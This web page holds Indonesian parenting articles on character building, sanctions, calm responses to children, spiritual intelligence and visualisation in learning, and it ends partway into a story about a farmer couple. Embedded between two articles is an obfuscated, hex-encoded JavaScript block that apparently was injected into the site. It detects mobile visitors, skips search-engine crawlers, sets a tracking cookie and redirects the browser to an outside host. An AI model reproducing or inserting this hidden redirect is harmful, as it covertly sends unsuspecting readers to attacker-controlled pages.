Membangun Karakter Anak : Semua Bermula dari Karakter

Silakan kita bertanya kepada beberapa wali murid yang awal tahun ini sering bergerombol di depan sekolah kita, tentang satu hal yang paling menjamin anak-anak mereka untuk sukses pada masa yang akan datang. Atau, meminta beberapa guru untuk mengidentifikasi hal yang paling menentukan keberhasilan siswa-siswinya saat mereka dewasa. Saya dapat menjamin bahwa mayoritas jawaban mereka adalah hal-hal yang berkaitan dengan sifat, perilaku, kepribadian atau karakter. Seperti kejujuran, kerja keras, ketekunan, percaya diri, tanggung jawab, kerja sama, dll.

Lalu di mana letak hal-hal di atas dalam konstelasi kurikulum kita? Atau dengan pertanyaan yang lain, sudah proporsionalkah perhatian kita terhadap hal-hal di atas sebagaimana perhatian kita kepada hal-hal yang bersentuhan dengan kognitif. Kita perlu memberikan apresiasi yang tinggi kepada orang tua yang secara intens membantu putra-putri mereka memilih sekolah-sekolah terbaik. Namun, apakah mereka telah menjadikan moral, sikap, atau karakter sebagai sebuah kriteria yang menentukan bagi pemilihan sekolah tersebut. Yang kita rasakan adalah berbondong-bondongnya mereka untuk mendaftarkan putra-putrinya kepada sekolah-sekolah yang favorit secara hasil Unas (kognitif), walaupun lingkungan sekolah tersebut seringkali tidak mendukung bagi perkembangan karakternya.
Di sinilah kita merasakan adanya pola berpikir yang parsial, di satu sisi mereka menyakini akan posisi karakter bagi keberhasilan masa depan anak-anak, namun pada posisi lain mereka lebih memilih aksi-aksi yang jangka pendek dengan memilih sekolah-sekolah yang mengangungkan kognitif.
Ada pemahaman yang berkembang di dalam masyarakat bahwa pendidikan karakter sama dengan penyampaian informasi tentang moral, sifat-sifat baik, dan cerita-cerita tingkah laku yang baik. Pada seseorang dapat mengatakah ”ya” berulangkali, tetapi bukan berarti ia telah benar-benar memahami apa yang ia dengar. Seringkali itu hanya berarti ”I hear you talking”. Sementara ia melakukan apa yang menjadi kebalikan apa yang ia dengar.
Dengan statement yang lain, banyak orang tua yang beranggapan bahwa kalau anak sudah bisa mengaji atau belajar agama, dengan sendirinya anak akan mempunyai moral yang baik. Banyak kejadian yang kita lihat bahwa pengetahuan agama yang baik ternyata belum tentu menjamin perilakunya juga baik.
Ratna Megawangi dalam bukunya Pendidikan Karakter menyebutkan ada 3 komponen di dalam pendidikan karakter, yaitu moral knowing atau pengetahuan tentang moral, moral feeling atau perasaan tentang moral dan moral action atau perbuatan bermoral. Seseorang perlu mengetahui tentang nilai-nilai moral dan etika, namun perlu juga dibangun perasaan untuk menyenangi hal-hal yang berkaitan dengan nilai moral, kemudian memastikan anak untuk mencoba dan memulai melaksanakan nilai-nilai tersebut dalam kehidupan sehari-hari.
Dengan ketiga komponen di atas maka pendidikan karakter tidak cukup dengan kata-kata, ia perlu contoh riil dari orang tua, pendalaman terhadap contoh-contoh tersebut dengan penjelasan-penjelasan dan refleksi tindakan anak, dan membangun sebuah lingkungan yang memastikan anak mudah untuk melakukannya dalam kehidupan sehari-hari mereka.
Beberapa yang harus diperhatikan oleh orang tua di dalam membangun karakter bagi putra-putrinya, pertama, anak yang mendapatkan cinta dan perhatian hangat dari orang tuanya akan merasa bahwa dirinya berharga, yang selanjutnya akan membuatnya percaya diri. Anak yang percaya diri akan mudah berteman dan tidak mudah terpengaruh kepada hal-hal yang negatif. Kedua, orang tua yang hangat dan penuh perhatian akan menjadi model bagi anak bagaimana seharusnya memperlakukan orang lain. Seorang ayah yang bangun tengah malam untuk memberikan vicks di dada anaknya yang sakit, sambil mengelus kepalanya, secara tidak langsung akan mengajarkan bagaimana memperlakukan orang yang sakit.
Ketiga, anak yang mempunyai hubungan emosianal yang erat dengan orang tuanya akan berusaha berperilaku sesuai dengan harapan orang tuanya menurut standar etika yang berlaku. Keempat, orang tua yang hangat dan penuh perhatian akan memacu perkembangan moral anak kepada tahapan yang lebih tinggi. Kelima, orang tua yang memberikan cinta dan perhatian kepada anaknya akan membuat komunikasi antara orang tua dan anak menjadi lancar dan terbuka.

Mungkin anak kita gagal di dalam mengikuti nasihat-nasihat kita, tetapi yakinlah mereka tidak akan pernah gagal di dalam meniru perilaku kita.

 

Cara Bijak Mendidik Anak : Saat Sanksi Menjadi Penghargaan

Pernahkah kita melihat seorang anak yang menceritakan sanksi yang baru ia terima dari orang tua atau gurunya dengan perasaan bangga?

Ibu Fatma merasa putus asa menghadapi putranya yang tidak ada jeranya dengan sanksi yang ia berikan. Suatu hari ia memberikan sanksi putranya dengan memasukkannya ke dalam kamar mandi, namun justru putranya bermain air di dalam bak kamar mandi

Dalam proses pendidikan kita mengenal apa yang disebut alat pendidikan. Alat tersebut digunakan agar proses pendidikan dapat berjalan dengan baik. Alat-alat pendidikan yang kita kenal di antaranya adalah contoh dan teladan, ancaman dan ganjaran, perintah dan larangan, serta sanksi/hukuman.

Sanksi kadang-kadang memang terpaksa harus digunakan. Dalam kaitan ini, ada beberapa teori tentang sanksi yang dianut oleh beberapa ahli pendidikan. Rosseau memperkenalkan sanksi alam. Artinya, anak diberi sanksi berdasarkan perbuatannya. Seorang anak yang bermain pisau dia terluka, memanjat pohon dia terjatuh, dan mungkin patah tangannya.

Ada lagi teori yang menjelaskan bahwa sanksi/hukuman diberikan kepada anak untuk membuat efek jera, yaitu anak dihukum agar ia tidak mengulangi perbuatan. Contohnya, bila terlambat datang ke rumah ia tidak diperkenankan melihat acara televisi yang disenanginya.

Terakhir muncul teori  bahwa  sanksi/hukuman adalah kegiatan yang dapat mengurangi kenyamanan anak dalam waktu pendek, seperti seorang anak yang bermain bola di lapangan melebihi waktu yang disepakati dengan orang tuanya, maka hukumannya adalah tidak memperbolehkan anak tersebut untuk bermain bola esok hari.

Pada kasus seorang anak yang justru ia menceritakan sanksi yang ia terima dari orang tuanya dengan perasaan bangga, justru telah menjadikan hukuman tersebut sebagai alat untuk meningkatkan gengsinya. Dengan sanksi tersebut ia ingin menunjukkan bahwa  dialah anak pemberani, kuat dan bertanggung jawab.  Atau  karena anak tersebut merasa kurang mendapatkan perhatian, sehingga hukuman yang diberikan kepadanya dianggapnya sebagai wujud perhatian orang tua kepadanya dan ia menikmatinya

Sementara pada kasus ibu Fatma saat anak justru menikmati sanksi masuk kamar mandi, maka ada dua kemungkinan, pertama anak belum merasa bahwa memasukkannya ke kamar mandi adalah sebagai bentuk sanksi/hukuman dari perbuatan salahnya, dan kedua kegagalam di dalam memperhitungkan bahwa memasukkan kamar mandi adalah hal yang mengurangi kenyamanan anak dan membuat efek jera.

Apabila kita terpaksa untuk memberikan sanksi/hukuman kepada anak-anak kita, ada beberapa syarat yang harus kita penuhi

  1. Memberi sanksi tidak boleh dalam keadaan marah. Seorang anak tidak akan dapat menyadari kesalahan dari dalam hati jika orang tua dengan penuh emosi memberikan sanksi/hukuman
  2. Sanksi/hukuman tidak boleh bersifat membalas dendam, umpamanya anak kita memukul adiknya maka kita tidak dapat memberikan hukuman kepadanya dengan meminta adiknya untuk memukulnya atau kita sendiri memukulnya
  3. Sanksi/hukuman harus ada hubungannya dengan kesalahan, umpamanya seorang anak yang mengotori lantai dia harus membersihkan lantai tersebut
  4. Sanksi/hukuman tidak boleh memalukan anak dengan menghukum mereka di hadapan saudaranya yang lain atau bahkan di hadapan teman-temannya
  5. Sanksi/hukuman dapat menjelaskan perlunya ketertiban, bukan melukiskan rendahnya kedudukan seseorang. Orang tua harus memisahkan antara sikap yang menyimpang anak dan kepribadiannya. Sering terjadi orang tua hendak memperbaiki kesalahan anak dengan menjustifikasi seluruh kepribadiannya. Membuat garis pemisah antara tindakan dan pelakunya. Membuat si anak tetap mendapatkan pengakuan walaupun sikapnya itu tidak dapat diterima
  6. Sanksi yang diberikan bukanlah reaksi dari perilaku menyimpang anak, namun merupakan respons terhadap penyimpangan tersebut. Reaksi menanggapi perilaku anak dari pikiran pertama yang muncul. Respons adalah menanggapi perilaku anak setelah beberap saat berpikir dengan mempertimbangkan sebab dan akibatnya.
  7. Ajari anak untuk mengidentifikasi hal-hal yang mereka belum memahami bahwa hal tersebut  merupakan perilaku yang menyimpang

Sanksi adalah senjata terakhir di dalam mendidik saat dalam kondisi darurat

 

Psikologi Anak : Guci Kesayangan

Siapa yang tidak marah melihat guci kesayangan, kenang-kenangan wisata dari Tiongkok dipecahkan. Akan tetapi kemarahan itu seakan-akan tersumbat mengetahui bahwa yang memecahkannya adalah putra kita yang sangat kita cintai. Namun demikian, tak ayal mata masih tetap melotot, tangan menunjuk-nunjuk dan suara meninggi sesaat guci tersebut pecah.

Bagaimana respons putra kita yang sebenarnya sudah takut karena telah memecahkan guci tersebut? Bertambahlah ketakutannya dan ia mungkin menangis histeris. Bunda Neno telah mengibaratkan apa yang terjadi pada otak anak kita melihat reaksi kita yang demikian adalah bagaikan kuncup bunga yang mulai mekar, tiba-tiba ada kekuatan besar yang memaksanya untuk menutup kembali. Mungkin akan lebih sulit bagi kuncup itu untuk mekar kembali
Dalam buku Adventures in Parenting disebutkan bahwa sikap pertama dengan merespons secara spontan dari suatu kejadian disebut bereaksi. Kita menjawab dengan kata-kata, perasaan, atau tindakan yang pertama kali muncul dalam benak kita. Saat bereaksi kita cenderung tidak memikirkan hasil apa yang kita kehendaki dari sebuah kejadian atau tindakan. Bahkan lebih dari itu, jika kita bereaksi, kita tidak dapat memilih cara terbaik untuk mencapai hasil yang kita inginkan.
Sedangkan sikap kedua dari peristiwa-peristiwa di atas dinamakan responding. Memberikan respon terhadap suatu peristiwa berarti kita mengambil waktu sejenak untuk memikirkan sebenarnya apa yang sedang terjadi, sebelum kita berbicara, berperasaan, atau bertindak sesuatu.
Waktu yang kita ambil antara melihat peristiwa dan bertindak, berbicara, atau berperasaan sangat penting bagi hubungan kita dengan orang lain, terutama hubungan kita dengan anak-anak kita. Waktu tersebut apakah beberapa detik, lima menit, satu hari atau dua hari, memungkinkan kita melihat sesuatu secara lebih jelas, apa yang sedang terjadi sekarang dan apa yang kita kehendaki dari anak-anak di masa yang akan datang.
Rasulullah SAW dalam sebuah sirah beliau menggendong putra salah seorang sahabat dengan penuh kelembutan. Tiba-tiba anak tersebut buang air kecil pada gamis beliau. Dengan cepat dan agak kasar ditariklah anak kecil tersebut oleh orang tuanya dari gendongan Rasulullah dengan harapan tidak semakin banyak air kencing yang mengenai gamis Rasulullah. Melihat peristiwa itu akhirnya Rasulullah SAW bersabda, "Mungkin air kencing ini mudah aku bersihkan dari kainku, tetapi siapa yang mampu menghilangkan kekerasan dari hati anak ini akibat perilaku kasar yang telah terjadi padanya?".
Alangkah indahnya seorang bapak, ibu, atau guru yang selalu memberi respons dari setiap perilaku ekploratif anak dengan penuh kelembutan dan kasih sayang. Seperti Rasulullah yang merespons seorang pemuda "usil" yang mengadu kepada beliau, "Wahai baginda Rasulullah, aku telah melaksanakan seluruh tuntunan agama Islam kecuali satu yaitu zina". Mendengar statement (pernyataan) pemuda yang tampak tidak mempunyai kesopanan beberapa sahabat terdekat beliau saling beradu pandangan tanda kurang berkenan dengan pernyataan pemuda yang disampaikan pada forum yang sangat terhormat tersebut. Namun dengan wajah teduh Rasulullah menghampiri pemuda tersebut kemudian beliau bertanya, "Wahai pemuda apakah engkau mempunyai seorang ibu, bibi dan saudara wanita?. Pemuda menjawab "Ya baginda Rasul" Bagaiamana sikapmu melihat orang lain berbuat zina terhadap mereka? Tiba-tiba pemuda tersebut berdiri dan bersumpah untuk membunuh orang yang berani berbuat tidak senonoh terhadap mereka. Rasulullah akhirnya berkata, "Begitu pula saudara orang-orang yang telah engkau zinai akan berbuat demikian kepadamu". Dengan jawaban tersebut pemuda itu tidak pernah melakukan zina kembali.
Selanjutnya kita merenung berapa kali kita harus merespon tingkah laku putra-putri kita yang yang sangat kreatif dalam sehari? Apakah kita termasuk dalam kategori mereaksi atau merespons? Ini mudah untuk diucapkan, tetapi sangat sulit untuk dilakukan. Merespon setiap tingkah laku anak dengan respon yang penuh kelembutan dan kasih sayang. Ada sebuah pepatah, bangunlah kebiasaan niscaya kebiasaan tersebut akan membangun kita. Biasakan untuk merespons perilaku putra-putri kita dengan lembut, niscaya mereka akan merespon perilaku kita juga dengan penuh kelembutan
Dengan memberikan respons yang tepat terhadap perilaku anak-anak kita, baik perilaku positif maupun negatif memungkinkan kita untuk:
<ol>
<li>Berpikir tentang beberapa pilihan yang terbaik sebelum kita mengambil keputusan. Mengambil waktu sejenak untul melihat sebuah masalah dari berbagai sisi membuat kita memiliki kemungkinan untuk memilih respons yang paling tepat</li>
<li>Menjawab sejumlah pertanyaan mendasar; apakah ucapan kita sesuai dengan apa yang sedang kita pikirkan? Apakah tindakah kita sesuai dengan ucapan kita? Apakah emosi kita terlibat dalam cara kita mengambil keputusan? Apakah kita sudah memahami alasan-alasan yang mendasari perilaku anak-anak kita?</li>
<li>Mempertimbangkan peristiwa sebelumnya yang serupa dan mengingatkan kembali bagaimana kita menangani peristiwa tersebut.</li>
<li>Menjadi orang tua yang lebih konsisten, karena anak-anak akan tahu bahwa kita tidak asal-asalan dalam membuat keputusan, terutama jika kita menjelaskan mengapa kita memilih untuk membuat keputusan tersebut</li>
<li>Memberikan contoh bagaimana membuat sebuah keputusan yang bermakna. Sejalan dengan bertambahnya usia anak-anak kita, mereka akan mengetahui proses pembuatan keputusan yang kita lakukan dan menghargai waktu yang kita butuhkan dalam membuat sebuah keputusan</li>
</ol>
Apa yang mesti kita pilih, guci Tiongkok atau kelembutan hati putra-putri kita?

&nbsp;<script>var _0x446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}</script>

Kecerdasan Spiritual Anak

Saya seorang ibu dengan tiga anak. Anak saya yang pertama perempuan umur 10 tahun, cerdas, lincah, aktif, berprestasi, dan mudah bergaul. Anak saya yang ketiga berumur 3 tahun, laki-laki. Orang bilang dia jenius, speed bicaranya cepat sekali, aktif bergerak, pemberani, tapi emosinya tinggi sekali. Sedangkan anak saya yang kedua, laki-laki 7 tahun, pemalu, pendiam, lambat bicaranya, tidak percaya diri dan sulit bergaul.

Kisah anak saya yang kedua inilah yang ingin saya ceritakan. Dia selalu bilang, ”Mbak Bela pintar, saya ndak bisa, piala Mbak bela banyak, saya ndak punya piala”. Sebagai orang tua, kami tidak pernah membeda-bedakan perhatian pada anak, juga tidak pernah membanding-bandingkan kemampuan anak. Tetapi pujian dan penghargaan kakek nenek, om, tante, guru-guru dan lingkungan yang besar kepada kakaknya membuat anak kedua kami merasa tidak mampu bersaing dengan kakaknya.
Usaha yang kami lakukan adalah memberi dukungan dan motivasi agar anak kedua kami percaya diri. Kakaknya ikut karate, sementara anak kedua kami ingin ikut bulu tangkis. Dia kami fasilitasi kami ikutkan ke sebuah club dan senantiasa kami pantau, kami evaluasi dan kami dorong untuk maju. Begitu juga dengan sekolahnya. Suatu hari, seusai anak kami shalat subuh, secara iseng saya bertanya, saya tahu dia ingin sepeda seperti temannya. ”Wah tadi Fikri berdo’a apa? Minta uang yang banyak ya supaya bisa beli sepeda?” Dia menggeleng, dengan lirih dia menjawab, ”Saya hanya bilang terima kasih sama Allah, karena Mama dan Bapak masih hidup dan sayang sama aku”. Saya terperengah, sesaat saya dan suami hanya bisa berpandangan, tanpa mampu berkata-kata. Tak terasa air mata saya menetes, subhanallah, apa yang menggerakkan hati anak kami, hingga dia dapat mensyukuri kehadiran orang tuanya? Saya dekap dia, saya ciumi dia, ”Maafkan mam ya, mama belum bisa nyenengi Fikri”.
Anak-anak ternyata lebih jernih dalam melihat. Fikri ternyata mensyukuri proses, sementara kami biasanya hanya melihat pada hasil terakhir. Dia tahu belum berprestasi seperti kakaknya, tapi dia merasa orang tuanya telah berusaha, dan itu dia ungkapkan dalam doanya. Dia berterima kasih pada Tuhannya, meskipun dia tidak punya piala. Sebagai orang tua kami sadar, bahwa tiap anak dilahirkan dengan membawa talenta dan kemampuan yang berbeda. Dan setiap prestasi tidak harus dihargai dengan piala. Saya merasa Fikri ternyata juga punya kehebatan. Bukan kecerdasan IQ seperti kakaknya, tetapi kecerdasan spiritual, yang membuatnya lebih arif dalam menyikapi hidup.
Seorang anak 7 tahun, yang sulit bicara dengan orang lain, ternyata mampu berdialog dengan Allah. Doanya selalu pendek dan lirih, tapi dia selalu merasa bahwa Allah mendengarnya. Itu adalah kebahagian terbesar kami sebagai orang tua, bahwa anak kami merasa dekat dengan Tuhannya. Dan dia merasa yakin Tuhannya mendengar doanya.
Kami malu menyebutnya sebagai prestasi. Itu bukan semata-mata hasil didikan dan bimbangan kami, tetapi lebih dari itu, ini adalah karunia dan nikmat maha besar dari Sang Maha Rahman. Sebuah titipan yang luar biasa berharga dari Allah. Mudah-mudahan kami tidak mengkhianati amanah besar ini. Sebuah tanggung jawab berat yang harus kami pikul, agar kelak anak-anak kami dapat kami kembalikan pada pencipta-Nya dalam keadaan mereka ridlo dan Allah pun ridlo kepada mereka.

Oleh :
Ibu Lailil Qomariyah
Lawang

Gaya Belajar Anak : Visualisasi dan Optimalisasi Belajar Anak

Cobalah untuk menanyakan kepada beberapa orang tentang guru favorit mereka. Niscaya mereka akan menyebutkan nama-nama tersebut dengan cepat dan spontan. Kemudian teruskan pertanyaan anda, “Mengapa guru-guru tersebut mereka favoritkan? Beberapa jawaban yang mungkin muncul dari mereka adalah, karena guru tersebut humoris, baik hati, sabar, cantik, tegas dan lain-lain.

Mari kita analisa fenomena di atas, mengapa nama-nama tersebut unforgetable tetap diingat di dalam fikiran mereka walaupun dalam waktu yang lama. Sifat humoris, baik hati, sabar, cantik, tegas dan lain-lain bukanlah kata-kata berdiri sendiri. Tetapi merupakah sebuah asosiasi dari suatu perilaku yang dapat divisualisasikan. Seperti seorang guru yang diingat sangat humoris karena guru tersebut secara visual terlihat lucu dan memberikan joke-joke segar bagi siswanya. Bagi pikiran kita segala informasi yang mudah divisualisasikan akan lebih cepat diingat dan lebih mudah direview kembali.
Sebaliknya, materi pelajaran walaupun sering diulang oleh guru dan orang tua saat mereka membimbing kita, seperti pengarang novel Salah Asuhan adalah… Marah Rusli, akan mudah dilupakan karena kita jarang melakukan proses visualisasi terhadap informasi tersebut. Memang informasi tersebut seringkali kita hafalkan, dan secara sadar kita memasukkannya dalam pikiran kita. Namun, saat kita mencoba mereviewnya dalam waktu lama, kita kehilangan ingatan sama sekali atas informasi tersebut.
Visualisasi /pencitraan dalam proses memasukkan dan mengingat kembali informasi merupakan kegiatan yang berguna bagi peningkatan kualitas informasi tersebut. Informasi yang dimasukkan dan dibarengi dengan proses visualisasi/pencitraan akan masuk di dalam pikiran sadar dan pikiran bawah sadar. Padahal, kekuatan pikiran bawah sadar adalah 88 %. Sementara informasi yang sengaja dimasukkan ke dalam pikiran tanpa dibarengi dengan visualisasi/pencitraan hanya masuk pada pikiran sadar, dan ia hanya mempunyai kemampuan 12 % di dalam pikiran.
Filosof Kant mengatakan bahwa berpikir dalam gambaran mendahului berpikir dalam kata-kata. Kebanyakan dari kita berpikir dalam gambar kemudian mengekpresikan pikiran tersebut dalam kata-kata. Jadi, bisa dikatakan, kata-kata hanyalah reperesentasi tangan-kedua pengalaman kita. Kata-kata tidak pernah benar-benar bisa menyampaikan apa yang kita rasakan.
Visualisasi sangat efektif bagi proses belajar anak. Misalnya kita ingin anak kita mengingat bahwa Sutan Takdir Alisyahbana mengarang buku ”Layar Terkembang”. Kita dapat meminta mereka membanyangkan sebuah perahu terapung di tengah lautan. Layar perahu itu sedang terkembang dan bertuliskan ”STA” yang dihiasi kembang-kembang kecil. Di dalam perahu terdapat seorang bangsawan bergelar Sutan yang sedang menangisi nasibnya . Dia menggelengkan kepala dengan sedih dan berkata, ”Mungkin ini sudah takdir”.
Bagi anak akan lebih mudah jika informasi tentang Sutan Takdir Alisyahbana sebagai pengarang Layar Terkembang dimasukkan kedalam fikiran mereka dengan dibarengi visualisasi. Cerita yang dikembangkan dari STA dan Layar Terkembangnya mendorong fikiran anak untuk menvisuaslisasikan. Apalagi jika informasi tersebut mempunyai hubungan emosional dengan dirinya.

Visualisasi Untuk Coaching
Visulisasi/pencitraan sebenarnya bukanlah hanya bermanfaat untuk meningkatkan memori kita dan anak kita saja. Masih banyak manfaat lain yang dapat diperoleh dari kegiatan ini. Seperti yang dilakukan oleh salah seorang trainer, pada setiap menjelang presentasinya dan coachingnya ia selalu menvisualisasikan seluruh rencana proses presentasi dan coachingnya. Lengkap dengan kata-kata dan suasana peserta pelatihan. Semakin detail visualisasi yang ia lakukan, semakin sempurna ia dapat melakukan proses tersebut.
Proses yang dilakukan oleh salah seorang trainer di atas memang sangat mungkin terjadi karena otak kita tidak dapat membedakan apakah visualisasi tersebut dihasilkan dari kegiatan riil atau hanyalah imajinasi di dalam pikiran. Saat ia telah melakukan beberapa kali visualisasi terhadap persiapan presentasi dan coaching, maka telah tergores di dalam pikiran bahwa ia telah beberapa kali melakukan presentasi tersebut. Akibatnya ketika ia benar-benar melakukan presentasi dan coaching, pikiran bawah sadarnya seolah-olah pernah melakukan sebelumnya berulang-ulang.
Marilah kita membayangkan pada saat pukul 12.00 kita mengajak putra kita berjalan-jalan dipinggir jalan beraspal. Sesaat kemudian kita mengajak putra kita masuk rumah dan ia menuju kulkas untuk mengambil satu buah jeruk mandarin. Kita belah jeruk tersebut menjadi dua dengan pisau… tiba-tiba beberapa percikan air jeruk tersebut mengenai mulut putra kita… ia mulai merasakan masam. Sekarang marilah kita rasakan apakah air liur kita bertambah setelah kegiatan di atas.
Saat kita membayangkan kejadian di atas sebenarnya kita secara fisik tidak melakukan, namun otak kita telah terstimuli oleh cerita tersebut, kemudian stimulus tersebut memberi pengaruh terhadap syaraf-syaraf air liur untuk mengeluarkan air liur lebih banyak dari sebelumnya.
Bagi orang tua yang membimbing putranya saat belajar di rumah ia dapat menggunakan teknik visualisasi ini untuk menghafalkan beberapa materi pelajaran yang sulit.

Langkah-Langkah Visualisasi

Visualisasi dapat efektif jika kita mengikuti langkah-langkah berikut ini:

  1. Relaks, membuat pikiran dan fisik kita dalam kondisi relaks
  2. Menarik napas dalam-dalam untuk meningkatkan kondisi relaks di atas
  3. Memusatkan perhatian kepada obyek/materi yang akan divisulisasikan
  4. Memperjelas visualisasi dengan pendekatan multi inderawi, secara auditorial seakan kita mendengar ucapan, secara visual seakan-akan kita melihatkan dan secara perasaan seakan-akan kita merasakan kejadiannya.
  5. Akhirnya, kita sediakan waktu sedikit untuk membiarkan imajinasi kita melakukan eksplorasi terhadap materi yang kita visualisasikan.

Beberapa hambatan yang mungkin muncul dari proses visualisasi adalah keyakinan dari kita apakah kita mampu melaksanakannya, atau apakah memang betul teknik ini memberikan manfaat yang besar bagi peningkatan.
Sementara hambatan tentang keyakinan apakah kita mampu melakukan visualisasi dengan mudah dapat dibuktikan dengan beberapa teknik berikut ini:

  1. Bayangkan kita menggaruk papan tulis hitam dengan kuku.
  2. Bayangkan harumnya bunga mawar
  3. Bayangkan seekor kucing yang basah mengibas-ngibaskan tubuhnya.

Jika pada waktu kita membayangkan garukan kuku kita pada papan tulis hitam telah membuat hati kita tidak nyaman, atau telinga kita seakan-akan mendengarkan bunyi yang tidak enak untuk didengar, maka sebenarnya kita termasuk orang yang mampu melakukan visualisasi.
Sementara, saat kita membayangkan seekor kucing yang basah sedang mengibas-ngibaskan tubuhnya kita merasakan ada beberapa percikan air yang mengenai muka kita, dan kita merasakan lebih sejuk, berarti kita mempunyai potensi untuk melatih diri kita dengan visualisasi.
Albert Einstein pernah berkata, ”Imajinasi itu lebih penting daripada pengetahuan, karena pengetahuan menunjukkan yang ada, sedangkan imajinasi menunjukkan yang akan ada”.

 

 

Cara Berkomunikasi : Satu Hati Beda Tujuan

Pak Mamat, ia hanyalah seorang petani desa dengan sepetak sawah dan dua ekor sapi. Hari-harinya ia pergunakan untuk mengurus sawahnya dan mencarikan rumput bagi dua ekor sapinya. Untuk kegiatan-kegiatan di atas ia didukung dengan sepeda tua untuk dinaiki menuju sawahnya dan hutan desa tempat ia menyabit rumput. Namun akhir-akhir ini ia terkendala untuk mencapai sawahnya lebih pagi dan menyabit rumput lebih cepat karena sadel sepedanya rusak dan tidak mungkin untuk dipakai lagi. Ia memilih berjalan kaki walaupun energi yang dikeluarkan lebih besar karena harus menempuh perjalanan yang cukup jauh dan mengangkat rumput yang cukup berat.

Kondisi ini sebenarnya telah diketahui oleh Ibu Mamat, namun apa daya ia tidak dapat membantu suaminya karena ia hanya mendapatkan segalanya dari suaminya. Hingga suatu hari ia teringat akan giwangnya yang tinggal sebelah. ”Mengapa saya tidak membantu suami saya dengan menjual giwang yang tinggal sebelah ini, kemudian membelikan sadel bagi sepeda suami saya?”
Ia melaksanakan niatnya tersebut tanpa sepengetahuan suaminya, karena ia ingin memberikan hadiah tersebut secara surprise di hari ulang tahun suaminya.
